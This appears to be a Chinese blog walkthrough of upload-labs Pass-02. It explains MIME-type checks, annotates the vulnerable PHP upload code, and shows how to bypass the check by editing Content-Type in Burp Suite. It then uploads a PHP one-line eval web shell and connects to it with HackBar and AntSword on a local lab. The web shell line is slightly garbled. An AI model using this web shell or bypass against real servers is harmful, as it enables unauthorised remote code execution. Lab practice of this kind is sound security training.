upload-labs通关笔记-第2关 文件上传之MIME绕过

目录

一、MIME字段

1. MIME 类型的作用

2. 常见的 MIME 类型

二、实验准备

1.构造脚本

2.打开靶场

3.源码分析

三、修改MIME字段渗透法

1.选择shell脚本

2.bp开启拦截

3.上传脚本bp拦包

4.bp改包

5.获取脚本地址

6.获取木马URL

7.hackbar渗透

8.蚁剑渗透


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第二关文件MIME渗透实战,通过修改MIME字段完成渗透。

一、MIME字段

MIME 类型(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展)最初用于电子邮件系统,后来被广泛用于 HTTP协议,用于标识文件类型。在文件上传攻击中,MIME类型检测是攻击者常绕过的点。

1. MIME 类型的作用

  • 浏览器:根据 Content-Type 决定如何处理文件(如显示图片、下载文件、执行脚本)。

  • 服务器:用于校验上传文件的类型(如只允许 image/jpeg)。

2. 常见的 MIME 类型

文件类型MIME 类型
JPEG 图片image/jpeg
PNG 图片image/png
GIF 图片image/gif
PDF 文档application/pdf
ZIP 压缩包application/zip
JavaScript 文件application/javascript
PHP 脚本text/x-php(或 application/x-httpd-php
HTML 文件text/html
纯文本文件text/plain

二、实验准备

1.构造脚本

构造文件上传的脚本,内容为获取服务器的php版本信息

<?php @eval($_post_pass02[ljn]); ?>

将脚本命名为ljn_post_pass02.php 

Note:特别注意 脚本中符号均为英文符号

2.打开靶场

firefox打开upload-labs靶场的Pass-02文件上传MIME关卡,如下所示。

http://127.0.0.1/upload-labs/Pass-02/index.php

进入文件上传MIME关卡,记得点击“清空上传文件”,这一步手动清空已上传文件,确保此次试验为最新上传结果。

3.源码分析

 分析server段源码,并进行详细注释,如下所示服务端通过检查了报文的mime字段来进行过滤,也就是MIME类型白名单。

<?php
// 初始化上传状态和消息变量
$is_upload = false;  // 标记文件是否上传成功
$msg = null;         // 存储上传过程中的错误或提示信息

// 检查用户是否提交了表单(点击了提交按钮)
if (isset($_POST['submit'])) {
    // 检查上传目录是否存在
    if (file_exists(UPLOAD_PATH)) {
        // 检查文件类型是否为允许的图片类型(JPEG、PNG、GIF)
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || 
            ($_FILES['upload_file']['type'] == 'image/png') || 
            ($_FILES['upload_file']['type'] == 'image/gif')) {
            
            // 获取上传的临时文件路径
            $temp_file = $_FILES['upload_file']['tmp_name'];
            // 构造目标文件路径(UPLOAD_PATH/原始文件名)
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
            
            // 将临时文件移动到目标目录
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;  // 标记上传成功
            } else {
                $msg = '上传出错!';  // 移动文件失败
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';  // 文件类型不符合要求
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';  // 上传目录不存在
    }
}
?>

代码的不安全之处在于两点:

  • (1)仅检查了MIME类型,可以通过bp抓包修改绕过。
  • (2)保存文件的时候没有重命名文件,这样即使网页不回显文件保存路径,也有很大概率可以被攻击者猜测到。

综上,分析出服务器检测是否为图片,是通过HTTP request报文中MIME类型在Content-Type字段体现,故而可以通过如下方法进行渗透。

  • Bp改包法1:将php脚本发送到bp改包,将content-type:application/octet-stream改为image/jpeg或者image/jpg或者为image/png,然后将报文上传到服务器绕过检测。

  • bp改包法2:将脚本改为jpg后缀后上传,使通过前端过滤函数的检查, 然后将报文发送给bp,在bp中将报文改为php后缀并上传到服务器(这个与第一关的bp改包方法一样,本文不再赘述)。

三、修改MIME字段渗透法

1.选择shell脚本

 进入到Pass02关卡,浏览选择构造好的脚本。

2.bp开启拦截

firefox开启bp代理,bp设置为inception on。

3.上传脚本bp拦包

点击上传,bp抓包,需要修改content-type。

4.bp改包

将content-type改为image/jpeg,并点击发送,文件上传成功

5.获取脚本地址

脚本上传成功,获取上传一句话木马脚本地址

6.获取木马URL

图片处右键复制图片地址,具体如下所示。

http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php

7.hackbar渗透

上传成功后用hackbar访问脚本

​http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php //URL地址
ljn=phpinfo();//Post参数

 如下所示使用hackbar渗透的效果,成功获取到php信息 

8.蚁剑渗透

上传成功后用蚁剑访问一句话木马

​蚁剑shell地址:http://127.0.0.1/upload-labs/upload/ljn_post_pass02.php  
密码:ljn

如下所示,提示连接成功。

右键选择文件管理,如下所示渗透成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值